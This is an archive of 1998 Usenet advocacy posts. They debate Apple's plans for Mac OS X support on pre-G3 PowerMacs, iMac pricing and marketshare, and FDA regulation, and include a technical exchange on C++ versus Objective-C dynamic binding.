Message-ID: <35AE686C.94C@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu>
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To: Pulsar <pulsar@springnet1.com>
Ryan,
Well said except that I think Mac OS X is gonna go for alot more than
$100. I predict atleast $349. Just a guess.
Steve
9500 owner
Pulsar wrote:
>
> In article <6oe0e0$u3k$1@piglet.cc.uic.edu>, amaliy1@uic.edu (Anil T
> Maliyekke) wrote:
>
> > Pulsar (tokarek@uiuc.edu) wrote:
> > : On 11 Jul 1998, Anil T Maliyekke wrote:
> >
> <snip>
> > : Mac OS 8 sold over 2 million copies in its first couple of months.
> >
> > : There is nothing about Mac OS X that should be more resource intensive
> > : than Rhapsody. In fact, it should be _less_ resource intensive! I think
> > : you and Apple underestimate the demand for an "advanced" OS in the
> > : Macintosh community. Even Mac OS 8 which was not such a significant
> > : advance architecturally sold extremely well. If Mac OS X had more
> > : hardware support would you care to guess how many copies it would sell?
> >
> > : There is no good reason for Apple to fragment the market so much. There is
> > : absolutely no good excuse for Apple to alienate a large number of normally
> > : loyal Mac users by dropping support for their machines unreasonably.
> >
> > I'm not comparing Mac OS X to Rhapsody, I'm comparing it to Mac OS 8.
> > I just wondering how many of the machines that were sold prior to
> > debut of G3 machines will truly be fit to run Mac OS X without
> > memory and or disk upgrades, and how many users/organizations would
> > really want to upgrade machines that are more than two years old at the
> > time of Mac OS X's debut.
>
> I'm not sure of course, but I would guess that there are some 3 to 4
> million of these PowerMacs being used today. I'm talking about the 604 and
> 604e based PowerMacs such as 7500s with PPC 604(e)/G3 upgrades, 7300s,
> 7600s, 8200s, 8500s, 8600s, 9500s, and 9600s. This ignores all the clones
> that sold that have the same motherboards and processors.
>
> Any of these machines would be capable of running both Rhapsody and Mac OS X.
>
> > No doubt, users want a better OS, and
> > no doubt some people would buy it, but the question is how many
> > people will actually being willing to perform a major OS upgrade
> > on an older machine. An upgrade from Mac OS 7.x or 8.x to Mac OS
> > X is going to be a major event, and it isn't going to be a decision
> > that many people are just going to jump into.
>
> So long as there aren't any significant file system issues that would
> require reformatting (and I don't think there should be), it won't be much
> of a big deal. The transition from Mac OS 8 (or 7) to Mac OS X will be a
> bigger deal than from 7 to 8, but it shouldn't be a prohibitive ordeal.
>
> > The basic question
> > for Apple is whether upgrade revenues from these older
> > machines is going to equal the upfront investments they have to
> > make to support the older machines.
>
> Let's assume that Mac OS X will cost $100. Let's also assume that Apple
> makes only $20 off of each copy of Mac OS X after accounting for
> distribution, and promotion of the OS. I actually suspect it would be more
> along the lines of $30 or $40 (maybe more), but for the sake of arguement
> we'll stick with $20.
>
> There are probably somewhere around 3 or 4 million pre-Gossamer PCI
> PowerMacs. Let's assume that only half a million upgrade to Mac OS X.
>
> That's 500,000 * $20 = $10,000,000
>
> That means that Apple can spend up to 10 million dollars on getting Mac
> OS X to run on these older PowerMacs and still _at least_ break even.
>
> Let's try to examine the costs for getting Mac OS X to run on these
> machines.
>
> Assume that a software engineer works for 40 hours a week at $100 per
> hour.
>
> Assume 4 people work for 2 weeks working on getting Mac OS X to run on
> these machines.
>
> That's 2 * 4 * 40 * 100 = $32,000.
>
> Now assume that 8 people work for 4 weeks on quality assurance, testing,
> and debugging.
>
> That's 8 * 4 * 40 * 100 = $128,000.
>
> This is a total of $160,000.
>
> Let's assume that the figure is off by a factor of 50!
>
> 50 * $160,000 = $8,000,000.
>
> So assuming that the real cost of getting Mac OS X to work on these
> machines is 50 times more than I estimated, then Apple will _still_ make
> a profit off of selling Mac OS X to pre-G3 PCI PowerMac owners!
>
> This does not include sales of Mac OS X to existing PowerMac G3 owners.
>
> Quite apart from cost and potential short term profit, there is the fact
> Apple makes a gesture of good will to owners of these machines by
> continuing support. Mac users are amazing for their loyalty, but that
> loyalty is neither unconditional nor increasing. Far from increasing, it is
> decreasing. If Apple orphans these machines with Mac OS X, a lot of
> customers already annoyed at Apple's behavior may very well stop supporting
> it.
>
> If Apple doesn't write Mac OS X to run on these machines (one of which I
> own), I will very likely leave the platform. I definitely won't go to
> Windows since I think things are worse on that side in a lot of ways, but I
> will cease to support Apple. Many others will do the same. Apple has jerked
> us around with too many broken promises for us to put up with much more.
>
> Even if it doesn't end up being immediately profitable for Apple to support
> Mac OS on these machines, it will be better for the platform and therefore
> better for Apple in the long run if Apple supports as many machines as
> possible.
>
> > : Furthermore, the _reference_ system for Rhapsody is not supported in Mac
> > : OS X. PowerMac G3 support had to be _added_ in. They were not originally
> > : on the supported list.
> >
> > It's not an issue of speed. It's an issue of return on investment for
> > Apple. Will the investment they make in support these machines bring
> > them added revenues or will it just drag their bottom line down?
>
> I don't think it will drag their bottom line, but that's irrelevant. Even
> if it does since it will drag the bottom line down even further if there is
> massive Mac user disloyalty. It will do Apple no good to fragment the
> market like this. It will do Apple even worse to make Mac OS X run on a
> very small subset of the Macintosh installed base.
>
> > Will
> > it delay time to market? Would you rather see Mac OS X ship in
> > the middle of year 2000 with support for machines that date back
> > four or five years, or Mac OS X ship late next year with support
> > for machines that came out in the last two years?
>
> Of course there is a trade off. I am not asking anything unreasonable of
> Apple. It is not unreasonable to expect that machines that are selling
> right now be supported in one year. This is particularly so when the
> hardware architecture is not so radically different from what Apple will
> already be supporting and when most of the work to get Mac OS X working on
> these machines will have been done with Rhapsody.
>
> Rhapsody already supports PowerMac 7[3,5,6]00s, 8[2,5,6]00s, and 9[5,6]00s.
> Some of these machines were selling back in 1995. All of these Macs have
> the same fundamental motherboard architecture. There are relatively minor
> differences from series to series, but Rhapsody already works on these
> machines.
>
> Rhapsody does not support NuBus based PowerMacs and probably doesn't
> support Catalyst based PowerMacs (I haven't heard whether it does or not).
>
> > Apple doesn't
> > have infinite resources to everything nor can it accomplish an infinite
> > number of things in a finite amount of time. I would personally
> > rather see the new OS ship as early as possible.
>
> Yeah, but there is no particular evidence that the extra work (and it is
> extra in a way) would set back Mac OS X significantly (if at all) or that
> it would be any significant investment. The work to support these machines
> will be done with Rhapsody and Mac OS X is based on Rhapsody.
>
> > With the kernel upgrade and probably a restructuring of the various
> > other low level details, they will probably be starting over in terms
> > of hardware drivers. Does MkLinux (using the Mach 3 kernel) run
> > on 603e's yet?
>
> Yes. MkLinux does (with pre-DR3). If I'm not mistaken, MkLinux is not being
> worked on full time, but is worked on in the developer's spare time. That
> MkLinux could support such a wide array of machines while still advancing
> the OS by people who are not devoting all their effort towards it
> indicates that Mac OS X on some of the pre-G3 PCI PowerMacs is perfectly
> possible.
>
> I really doubt that Apple will be starting over. I'll readily agree that it
> won't be effortless, but the idea that it will postpone Mac OS X
> signficantly or that it would be too costly has no strong support as of
> yet. If such evidence could be shown, then I wouldn't be so bothered. Apple
> has said nothing except that a huge portion of its user base will not be
> able to run its new and only OS without buying new machines. It seems to be
> a misguided attempt to screw Mac owners and is being done for no other
> reason than increasing profit at our unreasonable expense.
>
> Ryan Tokarek
> <pulsar@springnet1.com>
> <http://www.ews.uiuc.edu/~tokarek>
From: Earl Malmrose <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 17 Jul 1998 05:33:21 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <6omnn1$o03$1@news2.ispnews.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net>
Mime-Version: 1.0
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NNTP-Posting-Date: 17 Jul 1998 05:33:21 GMT
gmgraves@slip.net (George Graves) :
> Care to tell
> me the names of any REAL, useful software on Be?
Here are some REAL, useful pieces that I use regularly:
Code Warrior
NetPositive
BeInformed
GobeProductive
--
--Woohoo, this message posted from BeOS, using real, useful software!
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Thu, 16 Jul 1998 22:27:27 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1607982227270001@sdn-ar-001casbarp053.dialsprint.net>
References: <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <B1D3D746-223D1@206.165.43.46>
In article <B1D3D746-223D1@206.165.43.46>, "Lawson English"
<english@primenet.com> wrote:
> Shawn M. <shawnm@snd.net> said:
>
> >
> >Gassee was NEVER the CEO of Apple. If you want to blame someone for
> >Apple's former mistakes and "almost demise", try taking a look at John
> >Scully and the person who was CEO immediately after him [name escapes
> >me
> >at the moment] as two of the people who really ran the company into the
> >ground.
> >
>
> Gee...
>
> Sculley got Jobs ousted because he was acting like a nutcase and no bank in
> America would give Apple a loan as long as "that nutcase" [rumored direct
> quote] was still in control of Apple.
>
> Sculley, the person who ran Apple into the ground, took it from being a $1
> billion/year company to a $12 billion per year.
>
> SPindler was an interesting case. He obviously had severe physical and
> mental problems when he took charge.
Since I was just a youngin when Spindler was ceo, I have no idea what you
are talking about. COuld you please explain these physical and mental
problems he had, and examples of this? This is the first I have EVER
heard about this
--
So many pedestrians, so little time.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 17 Jul 1998 05:55:16 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6omp04$m5t$1@lwnws01.ne.highway1.com>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <6olevn$pgd$2@lwnws01.ne.highway1.com> <id_est-1607982337110001@192.168.1.3>
id_est@interport.net (tse_di) wrote:
> In article <6olevn$pgd$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
>
>
> > Right. And that's a shame, because if they could meet the
> > demand of a $999 machine, they could win major marketshare
> > (relative to what they have now), make their platform a more
> > attractive one as a consequence, sell more upgrades for
> > OSX/Rhapsody, and in general get more of a toe hold. If Japan
> > and ms teach us anything, marketshare is *the* valuable prize.
>
> Given the current state of the Japanese economy I don't know that
> one should take those lessons that seriously.
That's absolutely silly. They still command huge marketshare in automobiles
and consumer electronics. If they didn't I imagine things would be much
worse. Moreover recession is a very natural part of general economic trends
in any country. You can bet the US will have one again sooner or later.
Even insinuating that obtaining more marketshare in someway contributes to
recession is silly.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 17 Jul 1998 05:59:15 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6omp7j$m5t$2@lwnws01.ne.highway1.com>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <joe.ragosta-1607982129100001@elk123.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> At $1299, Apple is probably going to sell as many as they can make. At
> $999, they wouldn't sell any more, so the market impact would be no
> greater.
Aint that pitiful? (That's rhetorical)
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 17 Jul 1998 06:09:01 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6omppt$m5t$3@lwnws01.ne.highway1.com>
References: <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <edewEw7oyB.3u3@netcom.com>
edew@netcom.com (Eric Dew) wrote:
> At $999, it would tear a larger ahole in Apple's bottom line than in the
> market. There's a lot of perceptual differences between a $1300 computer
> and a $999 computer. People will perceive the $999 as being a cheaper,
> thus lower quality machine than a $1300 one. Thus, it could actually
> *hurt* sales (as in the quantity sold, not the gross revenue) to lower
> the price. Remember, the LAST thing a company should do when sales are
> slow is to drop prices (unless they're selling commodities). Either
> add features, change marketing strategy, or drop the product, but dropping
> prices is the best indicator of a struggling company.
Things are different on a product introduction and when the price is in line
with other manufactureres.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 17 Jul 1998 06:11:58 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ompve$m5t$5@lwnws01.ne.highway1.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <6ol1f1$hcb$2@lwnws01.ne.highway1.com> <35ae1722.9194881@news.euronet.be> <6old6f$ogr$2@lwnws01.ne.highway1.com> <35ae441d.20709989@news.euronet.be> <6olt75$496$1@lwnws01.ne.highway1.com> <35ae84d2.37274718@news.euronet.be>
drooling.idiot.nospam@euronet.be (Little Piggy) wrote:
> yeah well put a whole bunch of fools together and you got your
> multi-billion success. :)
:) I want to meet the right bunch of fools and get put together just like
that. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 17 Jul 1998 06:10:37 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ompst$m5t$4@lwnws01.ne.highway1.com>
References: <6ojtmb$otj$2@lwnws01.ne.highway1.com> <joe.ragosta-1607980759480001@wil45.dol.net> <6oktri$frj$1@lwnws01.ne.highway1.com> <edewEw7oKo.3A1@netcom.com>
edew@netcom.com (Eric Dew) wrote:
> Computers are not a commodity, or at least should not be positioned
> that way (by Apple). Apple should sell the iMac as *THE*
> internet-ready computer for the masses (hence, the "i" in the
> name). Apple should avoid competing on any established fronts
> (e.g., price points, software availability, etc.). Apple should
> distinguish itself from possible competitors and make its own
> market. Then, it can charge whatever it wants because there are
> no challengers.
Computers *are* a commodity. And the vast majority of the market sees them
just that way. Apple has avoided competing on price/performance basis, and
it's success can be in part attributed to such BOZO marketing.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-BxfPX9XHOycJ@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.
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Date: 17 Jul 1998 06:56:11 GMT
Organization: IBM.NET
X-Newsreader: ProNews/2 Version 1.50 Beta 1
On Thu, 16 Jul 1998 14:46:18, stwillis@ews.uiuc.edu (willis sean
timothy) thought aloud:
> Joshua T. McKee (Josh.McKee@cbns.com) wrote:
> :
> :
> : No confusion at all. If OS X is to be Rhapsody 2.0, and Rhapsody 1.0 will
> : run on pre-G3 Macs, then it appears that Apple isn't living up to it's
> : promise.
> :
> : Sure, Rhapsody "1.0" will run on pre-G3 Macs...big deal if it is
> : DOA...which is effectively what Apple has done to it. I can't see any
> : future in the "1.0" version of Rhapsody.
>
> Just a question to pose: Let's say a few years back someone decided to buy
> a '386 machine that was pretty standard for it's time. said person was
> going to run Win 3.1 on it, because that was the most widely supported
> graphical OS at the time. Later, in the fall of '95, they decided to
> upgrade to Win 95, but found that they needed to upgrade hardware as well.
> So they decided to purchase a 486 66MHz machine, kinda low end but with a
> good 8 or 16 megs of RAM, it wasn't too bad.
Huh? 386's had been off shelves for years by '95, even 486's were
getting very rare. '95 was well into "Pentium" era. What's the
relevance of all this? This Rhapsody / Mac OS X issue is about
Apple, a one-stop shop, going back on their word that last year's
plenty powerful PCI PowerPC Macs would run the long-awaited modern OS
(which would also make them run more efficiently than with the legacy
"Classic" Mac OS).
> Now that Win 98 is out (and this person really wants a stable
> system at this point in his/her life), they have chosen to upgrade yet
Totally stable? Windows 98? :^)
> again, only three years after their last hardware purchase. They plan on
> purchasing Win NT 5.0 when it comes out. Did they have to upgrade? Of
> course not. Did they choose to? Why yes they did. Will their hardware be
> supported in 5.0? Your guess is as good as mine.
Again, where is the relevance of this?
> Rhapsody 1.0 is coming, it is more or less on schedule (bring that
> into the eq for MS and we've got a whole different story), and it seems as
> though it will support the products it was originally stated to support.
> This will be the top-of-the-line OS for a year (coming from Apple), and
> anyone who bought PCI hardware to run it will still have that opportunity.
It seems? The fact is that even regarding the stop-gap Mac OS *Server*
(formerly known as Rhapsody - the future Apple OS) the compatibility
with recent pre-G3 designs is far from assured, if the Rhapsody
Developer Releases are of any indication.
> In a year, your license is not going to be pulled. There will be
> cross-OS compile capability, so anyone who wants to sell software to both
> the Rhap and MacOS X crowds just needs to be a bit careful and check a box
> at compile time. You'll have a good OS, and by that time there might be
> some screaming high-end multi-processor G4 machines that will kick the
> *@#$ out of even that 9600/350. Who knows?
Considering Rhap.. Mac OS X Server is going to be stop-gap solution,
and quite likely *Server* priced, what are the chances that anyone
would even bother to compile for it when the real future OS, "Mac OS
X" is released? Of course hardware will again be much faster in a
year's time, and the year after that. Does this mean that now Apple HW
only retains its freshness and viability for a single HW generation?
From the best selling point to worst.
> Yeah, it sucks that the shiny new Apple that's on your desk _might
> not_ be allowed to run the newest software in a year+. But you do have a
> upgrade path or two of software, and at least the Mac side won't be
> obsoleted.
Hello? (again). Sure, since "Carbon" is the near-future and the
upcoming Classic Mac OS (8.6/9.0?) will (let's now suppose) run
Carbonized Mac OS apps users of recent non-G3 Macs could buy the
necessary SW upgrades and keep on Classic-Maccing, BUT - without
modern OS features or YellowBox apps.
The other option is, if gawd and Apple let your non-G3 Mac be
compatible with Mac OS X *Server*, to run 8.x apps in "BlueBox" (no
new Carbon apps at all) and hope that at least a few YellowBox apps
will become available (only to potentially disappear after a year into
the real Mac OS X land).
The solution, of course, is for Apple to stop forcing ultra-early
obsoletion and instead adding the real Mac OS X support for the
Powermacs which they can do without major tears. Rhapsody already runs
on many of those models, and Linux (with Mach 3 kernel like Mac OS X)
is already compatible even wider range of Powermacs. Now, instead of
leaving in disgust and confusion, Powermac owners can choose to buy
either Rhapsody (OS X Server) or Mac OS 8.6/9.0 and again upgrade to
the real Mac OS X to get the modern OS everyone's been waiting for
most of the decade.
> And you'll be able to run NXHost and all the cool stuff
> that X doesn't have slated for it.
Yeah. NXhost is going to be a big success... death-sentenced tech is
real popular, esp. among Mac developers... <g>
Brgds,
--
taiQ
[this space is intentionally blank]
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Fri, 17 Jul 1998 06:52:05 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35AEF495.EEEF2844@nstar.net>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ojqpt$u6p$1@samsara0.mindspring.com> <slrn6qs9l9.860.sal@panix3.panix.com> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu> <35AE4D48.B45E4579@ericsson.com> <Jeur1.4033$24.23345884@news.itd.umich.edu> <35AE772F.B35DEA51@ericsson.com> <slrn6qt8uh.7n9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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NNTP-Posting-Date: 17 Jul 1998 06:57:29 GMT
Matt Kennel wrote:
> Funny, but I find the threat of prosecution for contaminating meat to
> be far more compelling a protection than some "loss of reputation" for
> some mythical industry-supported group.
Prosecution is settled through fines. Loss of reputation means a loss of
business, which can kill a company. Apple is a case in point. So is
Microsoft.
> Why isn't reputation coveted now? Why aren't there groups like
> SafeMeat with more-strict-than-USDA-standards inspecting and branding
> meat right now?
Exactly. That's a question we should all be asking, as the government
usurps personal responsibility in the name of mythical and somehow
eulsive 'safety'.
> What is there to stop them? I don't think there are any big bad
> government thugs in their way at the moment.
Every company involved in the sale of edible goods has an extensive
quality-assurance program committed to meeting FDA guidelines. These
programs are *incredibly* expensive and involve untold numbers of
lawyers. This extraction of money is hindering privatized efforts toward
responsible consumer/corporation relations.
> Oftentimes honest companies actually like reasonable government
> regulation for safety and environmental compliance when are uniformly
> applied, because they don't want to get in a race to the bottom with
> competitors by having to undercut their standards below what they feel
> is morally acceptable.
I would say it's more likely that companies are happy that they can
simply meet FDA guidelines and ship the result with impunity to the
customer. Rather than being responsible directly to the consumer,
companies are responsible to the FDA; as a result, government is (again)
the inadequate intermediary between vendor and customer.
> By contrast, imagine Safe-T-Meat (instead of SafeMeat) was formed by
> other not-so-honest meatproducers which wanted to give the illusion of
> safe meat inspection, but really it was just a sham. Or perhaps the
> honest SafeMeat gets quietly subverted or bought out.
The "sham" you speak of is the FDA.
> After all, all these supposed organizations would have to be funded by
> the companies they are supposed to inspect. From money comes influence, and
> they would be quite susceptible to hushing up problems "for the good of the
> industry".
The "industry", whatever industry that might be, is under constant
attack by the FDA. Letting the consumers decide what is "good for the
industry", rather than letting the FDA decide, would be in the
consumers' interest.
> Yes, in the fundamentalist libertarian world, everybody would end up
> suing each other for all the fraud committed by all these sorts of
> scams. Assuming they had the money, and could find the perpetrators,
> and could actually procure sufficient evidence of such. But most
> likely, they'd just be sick. What a horrible world.
Numerous lawsuits are the libertarian ideal? I wasn't aware of that. I
thought it had something to do with personal responsibility. You've
pulled a new one on me.
MJP
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 17 Jul 1998 08:31:50 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6on25m$pdi$1@news.cs.tu-berlin.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <
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lars.farm@ite.mh.se (Lars Farm) writes:
[..]
>At runtime, when the call is actually made. Conceptually through an
>associative table lookup that in most implementations can be and is
>optimized to a Minimal Perfect Hashtable using the function signature in
>coded form (declaration order in class) as key - A.K.A. v-table.
Nope, the lookup is not really associative, it can *always* be
resolved to a simple indexed table lookup. This was a requirement
for the language design, that it be implementable without further
overhead. Even the table lookup is considered overhead that should
usually be avoided, so you specifically have to declare methods
to be virtual instead of this being the default.
>The point is that this mechanism (the optimization - v-table) is not
>required by the language as has been claimed. The externally observable
>behaviour (correct function called) is required.
That's an interesting interpretation, but it doesn't really jive
well with the development history of C++. The v-tables were the
primary factor, the typing restriction a result of the v-table
requirement.
>> C++
>> Compile time:
>[...]
>> - virtual functions are assigned a fixed slot index in the vtable
>Well, this is a common implementation, but not a language requirement.
>For the time being, let's call this slot number a "selector".
Again, it was a requirement when the language was designed, and
a selector is quite a bit different in that it describes *only*
the message without reference to an implementation in a class.
[...]
>(1) Dynamic binding: Seems very similar to me. The C++ search could be
>done exactly like that using "selectors". There are differences, but
>they have to do with ...
It could be, but it never is, because the language was *designed* not
to require a full search.
>(2) Type compatibility: ... one difference is that a C++ "selector" must
>contain more information than the ST/OC selector. Information about
>which class it belongs to and types for arguments. This information must
>also be used. This has to do with a language requirement that behaviour
>is associated with class and only compatible functions from that class
>or classes derived from that class are allowed to be executed. Just as
>you say but they are distinct, important and orthogonal concepts. This
>is strong or weak typing.
This has nothing to do with strong or weak typing, as a selector does
contain a full signature. The only difference is that C++ imposes an
additional requirement that has nothing to do with strong type-safety.
The requirement of a target class does not help static, compile-time
type-safety one bit.
>(3) Time for type compatibility test: ... another difference is that
>static languages require that the type compatibility test is done at
>compile time. Dynamic languages perform the test at runtime. This is
>static or dynamic typing.
Wrong again. Dynamic languages with protocol-based type-systems can
perform the type-check at compile-time. The difference is that they
also *allow* expressions that cannot be type-checked at compile-time
but must be checked at runtime. Static languages simply disallow
those kinds of statements.
Since these statements require fully dynamic binding of implementations
to selectors, most dynamic language designers simply decided to make
this the default for all messages sends, despite the fact that around
80-90% of most dynamically bound code could be resolved statically.
The problem is that often you don't know which 80-90% it will be,
and the remaining 10-20% are quite crucial.
>Hope this was clearer. In short, C++ is certainly not ST/OC, but the
>difference is NOT dynamic binding. Dynamic binding is the same in both.
>The big difference is in strong[*] static typing vs weak dynamic typing.
It is clear enough, but wrong. The difference is very clearly binding,
because the dynamic binding of ST/Objective-C goes far beyond the late
binding of C++. Think about proxies and it should become clearer. It
cannot be static type-checking because many dynamic languages have
type-systems that are statically checked.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 17 Jul 1998 07:14:56 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6omtlg$an$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net> <gmgraves-1507981228010001@sf-usr1-30-158.dialup.slip.net> <6ojb7i$90f$1@nnrp1.dejanews.com> <gmgraves-1607981336280001@sf-pm5-16-80.dialup.slip.net>
In article <gmgraves-1607981336280001@sf-pm5-16-80.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
>> But there is no way that Apple can claim that MacOS 8 is their next
>> generation operating system.
>
> They don't. Your Point?
> It isn't even as revolutionary as the change from System 6 +
> > multifinder -> System 7.
>
> Again, your point?
>
> OS8 and OS9 are compatibility OSes designed to support 601, 603 and
> 604 based Macs until those machines have outlived their service lives.
> Nothing more. They will add new features and be able to run Carbon
> modified apps, but Apple is making no claims for PMT et al.
Before Apple killed copland, they said that all PowerMacs (including my 6100)
would run their "next generation operating system." If, as you concede, MacOS
8 and 9 do not fit this criteria then Apple was lying to their customers.
That's my point.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: Fri, 17 Jul 1998 03:28:04 -0400
Organization: none
Message-ID: <id_est-1707980328040001@192.168.1.3>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <6olevn$pgd$2@lwnws01.ne.highway1.com> <id_est-1607982337110001@192.168.1.3> <6omp04$m5t$1@lwnws01.ne.highway1.com>
In article <6omp04$m5t$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> id_est@interport.net (tse_di) wrote:
> > In article <6olevn$pgd$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> > wrote:
> >
> >
> > > Right. And that's a shame, because if they could meet the
> > > demand of a $999 machine, they could win major marketshare
